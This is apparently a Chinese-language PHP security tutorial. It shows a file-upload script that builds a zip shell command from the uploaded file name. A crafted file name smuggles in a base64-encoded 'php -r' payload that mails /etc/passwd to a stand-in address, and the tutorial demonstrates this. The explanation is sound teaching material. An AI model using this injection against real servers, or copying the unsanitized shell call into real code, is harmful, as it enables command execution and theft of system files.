在PHP中执行系统调用
在PHP中有很多方法可以执行系统调用。比如,system(), exec(), passthru(), popen()和 反单引号`)操作符都允许你在程式中执行系统调用。如果不适当的使用上边这些函数将会为恶意用户在你的服务器上执行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外部输入导致的系统命令执行。
使用系统调用的一个例子程式
考虑一个处理http文件上传的程式,它使用zip程序来压缩文件,然后把它移动到指定的目录默认为/usr/local/archives/)。代码如下:
- < ?php
- $zip = "/usr/bin/zip";
- $store_path = "/usr/local/archives/";
- if (isset($_FILES['file'])) {
- $tmp_name = $_FILES['file']['tmp_name'];
- $cmp_name = dirname($_FILES['file']['tmp_name']) .
- "/{$_FILES['file']['name']}.zip";
- $filename = basename($cmp_name);
- if (file_exists($tmp_name)) {
- $systemcall = "$zip $cmp_name $tmp_name";
- $output = `$systemcall`;
- if (file_exists($cmp_name)) {
- $savepath = $store_path.$filename;
- rename($cmp_name, $savepath);
- }
- }
- }
- ?>
- < form enctype="multipart/form-data" action="< ?
- php echo $_SERVER['PHP_SELF'];
- ?>" method="POST">
- < input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576">
- File to compress: < input name="file" type="file">< br />
- < input type="submit" value="Compress File">
- < /form>
虽然这段程式看起来相当简单易懂,但是恶意用户却可以通过一些方法来利用它。最严重的安全问题存在于我们执行了压缩命令通过`操作符),在下边的行中可以清楚的看到这点:
- if (isset($_FILES['file'])) {
- $tmp_name = $_FILES['file']['tmp_name'];
- $cmp_name = dirname($_FILES['file']['tmp_name']) .
- "/{$_FILES['file']['name']}.zip";
- $filename = basename($cmp_name);
- if (file_exists($tmp_name)) {
- $systemcall = "$zip $cmp_name $tmp_name";
- $output = `$systemcall`;
- ...
欺骗程式执行任意shell命令
虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意shell命令的潜在危险!准确的说,这个安全漏洞来自对$cmp_name变量的赋值。在这里,我们希望压缩后的文件使用从客户机上传时的文件名带有 .zip扩展名)。我们用到了$_FILES['file']['name']它包含了上传文件在客户机时的文件名)。在这样的情况下,恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样?UNIX shell提示符下)
- [user@localhost]# touch ";php -r '$code=base64_decode(\
- "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\");
- system($code);';"
这个命令将创建一个名字如下的文件:
- ;php -r '$code=base64_decode(
- "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
- system($code);';
看起来很奇怪?让我们来看看这个“文件名”,我们发现它很像使CLI版本的PHP执行如下代码的命令:
- < ?php
- $code=base64_decode(
- "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
- system($code);
- ?>
如果你出于好奇而显示$code变量的内容,就会发现它包含了mail baduser@somewhere.com< /etc/passwd。如果用户把这个文件传给程式,接着PHP执行系统调用来压缩文件,PHP实际上将执行如下语句:
- /usr/bin/zip /tmp/;php -r
- '$code=base64_decode(
- "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
- system($code);';.zip /tmp/phpY4iatI
让人吃惊的,上边的命令不是一个语句而是3个!由于UNIX shell 把分号;)解释为一个shell命令的结束和另一命令的开始,除了分号在在引号中时,PHP的system()实际上将如下执行:
- [user@localhost]# /usr/bin/zip /tmp/
- [user@localhost]# php -r
- '$code=base64_decode(
- "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==");
- system($code);'
- [user@localhost]# .zip /tmp/phpY4iatI
如你所见,这个看起来无害的PHP程式突然变成执行任意shell命令和其他PHP程式的后门。虽然这个例子只会在路径下有CLI版本的PHP的系统上有效,但是用这种技术可以通过其他的方法来达到同样的效果。
PHP之友评论